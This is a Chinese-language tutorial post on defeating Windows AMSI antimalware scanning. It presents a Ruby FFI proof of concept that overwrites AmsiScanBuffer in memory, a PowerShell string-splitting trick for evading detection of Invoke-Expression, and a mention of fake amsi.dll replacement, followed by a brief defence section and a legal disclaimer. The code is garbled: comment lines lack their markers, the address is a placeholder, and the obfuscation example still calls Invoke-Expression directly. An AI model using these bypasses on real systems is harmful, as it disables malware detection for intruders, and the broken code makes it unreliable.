一、打破限制:AMSI的核心机制解读

在对抗现代化防御时,攻击者与防御者的博弈总是围绕着新技术展开。其中,Windows 内置的反恶意软件扫描接口(Antimalware Scan Interface,简称 AMSI)成为了现代安全防护体系的重要一环。AMSI 的核心功能是为反恶意软件解决方案提供统一接口,可以对内存中的脚本、宏、和其他内容进行动态扫描和检测。
为什么 AMSI 是攻击者的绊脚石?
- 通用性:AMSI 接口可以由多种反病毒引擎接入,如 Windows Defender、第三方杀软等。
- 深度动态分析:AMSI 能捕获诸如 PowerShell、JavaScript、VBScript 等脚本的执行细节,检测到常见的恶意代码模式。
- 内存扫描:即便载荷是动态加载的,AMSI 依然能够在脚本解析过程中检测恶意特征。
作为攻击者,如果不能绕过 AMSI,那么在内存中加载的恶意代码很容易被拦截。接下来,我会从原理到实战,逐步拆解如何绕过它。
---
二、对抗 AMASI:攻击者如何切入?
在攻击链的视角下,绕过 AMSI 的核心目标是“让恶意载荷在 AMSI 的检测中隐身”。以下是几种常见的攻击切入点:
1. 内存中的动态 Hook 绕过
AMSI 的核心组件 amsi.dll 会在脚本执行时被动态调用。通过 Hook 关键函数,将其功能替换或干扰,是一种常见的绕过方式。
关键函数通常是:
AmsiScanBufferAmsiInitializeAmsiOpenSession

攻击者的目标是通过修改内存中函数的入口点,直接让 AMSI 的检测逻辑失效。
2. 恶意代码字符串的动态混淆
AMSI 擅长检测特定字符串模式,比如 IEX(Invoke-Expression)等 PowerShell 中的恶意代码标志。通过字符串分片、动态拼接等方式,可以规避 AMSI 的静态模式匹配。
3. DLL 替换攻击
在某些环境中,攻击者甚至可以通过加载伪造的 amsi.dll 文件,完全篡改 AMSI 的逻辑。这种方式破坏性较大,但在某些内网渗透场景中非常实用。
接下来,我们将针对上述方法,进行深度技术剖析和实战代码演示。
---
三、实战环境搭建:准备好你的实验室
在任何攻击测试开始之前,环境的搭建至关重要。以下是我们实验需要的基础设施和工具:
环境要求
- 操作系统:Windows 10 或 Windows Server(AMSI 默认启用)
- 工具链:
- PowerShell 7+
- Mimikatz(辅助操作)
- Ruby(攻击代码编写)
- 调试工具:
- x64dbg
- Process Hacker
- 受控目标环境:开启 Windows Defender(或其他 AMSI 支持的防护工具)

配置建议
在目标环境中启用 AMSI 和 Windows Defender 的实时保护功能,这有助于模拟真实的防御场景。例如: <pre><code class="language-powershell"># 启用 Windows Defender 的实时保护 Set-MpPreference -DisableRealtimeMonitoring $false</code></pre>
确认 AMSI 功能正常工作后,我们可以开始绕过测试。
---
四、内存层面的操作:HOOK 绕过 AMSI
最经典的 AMSI 绕过方法,是直接 Hook 其核心 API 函数 AmsiScanBuffer。通过修改该函数的入口点,将其替换为一个伪造实现,可以让恶意代码绕过检测。
以下是使用 Ruby 和 FFI 实现的 POC,在内存中 Hook AmsiScanBuffer:
<pre><code class="language-ruby">require 'ffi'
定义 Windows API 函数
module Kernel32 extend FFI::Library ffi_lib 'kernel32' attach_function :OpenProcess, [:uint, :int, :uint], :long attach_function :WriteProcessMemory, [:long, :pointer, :pointer, :size_t, :pointer], :bool attach_function :VirtualProtectEx, [:long, :pointer, :size_t, :uint, :pointer], :bool end
module AmsiBypass
定义关键参数和常量
PAGE_EXECUTE_READWRITE = 0x40 PROCESS_ALL_ACCESS = 0x1F0FFF
def self.hook_amsi
找到当前进程句柄
current_process = Kernel32.OpenProcess(PROCESS_ALL_ACCESS, 0, Process.pid) raise "无法获取进程句柄" if current_process == 0
定位 AmsiScanBuffer 的地址(需要手动调试获取地址)
amsi_address = 0x12345678 # 替换为实际地址
构造一个新的无害函数
patch_code = "\x31\xC0\xC3" # xor eax, eax; ret
修改函数地址权限
old_protect = FFI::MemoryPointer.new(:uint) Kernel32.VirtualProtectEx(current_process, amsi_address, patch_code.size, PAGE_EXECUTE_READWRITE, old_protect)
写入恶意代码
patch_ptr = FFI::MemoryPointer.from_string(patch_code) Kernel32.WriteProcessMemory(current_process, amsi_address, patch_ptr, patch_code.size, nil)
puts "AMSI Hook 成功!" end end
调用 Hook 函数
AmsiBypass.hook_amsi</code></pre>
核心分析
- 内存修改:通过
VirtualProtectEx修改AmsiScanBuffer地址的内存权限,允许写入可执行代码。 - 伪造函数:恶意代码通过简单的
xor eax, eax返回一个无害结果,绕过检测。 - 动态地址定位:
amsi.dll的加载基地址需要通过调试工具(如 x64dbg)获取。
---
五、动态字符串混淆:绕过模式匹配检测
在一些脚本攻击中,AMSI 会直接对 PowerShell 脚本中的关键函数进行模式检测。通过动态字符串拼接,可以有效绕过检测。
以下是一个 PowerShell 示例代码,它通过分片绕过了对 Invoke-Expression 的拦截:
<pre><code class="language-powershell"># 将危险函数拆分为两部分 $part1 = "I" $part2 = "EX" $command = $part1 + $part2 + "('calc.exe')"
执行拼接后的命令
Invoke-Expression $command</code></pre>

核心分析
- 字符串分片:将攻击代码按字符分片,使其不符合 AMSI 的模式匹配规则。
- 动态拼接:在脚本运行时动态拼接完整的恶意代码。
---
六、攻守之道:如何检测与防御?
作为防御者,了解攻击者的绕过手段后,可以采取以下措施进行对抗:
- 内存完整性校验:定期检查系统中动态库(如
amsi.dll)的完整性,发现非法修改时立即告警。 - 行为分析:结合恶意行为检测,如异常的内存写入、未知模块加载等。
- 脚本审查:对脚本执行的内容进行深入分析,检测异常的字符串操作或混淆行为。
---
七、总结:绕过与对抗的博弈
绕过 AMSI 是高级攻击中的一个典型场景,这篇文章从原理到实战,全面解析了其实现方法。从内存 Hook 到字符串混淆,每一种技术都体现了攻击者的创造性。但正如前文所述,了解攻击的方法,才能更好地制定防御措施。
合法声明:本文内容仅用于授权环境下的安全测试,严禁用于非法用途!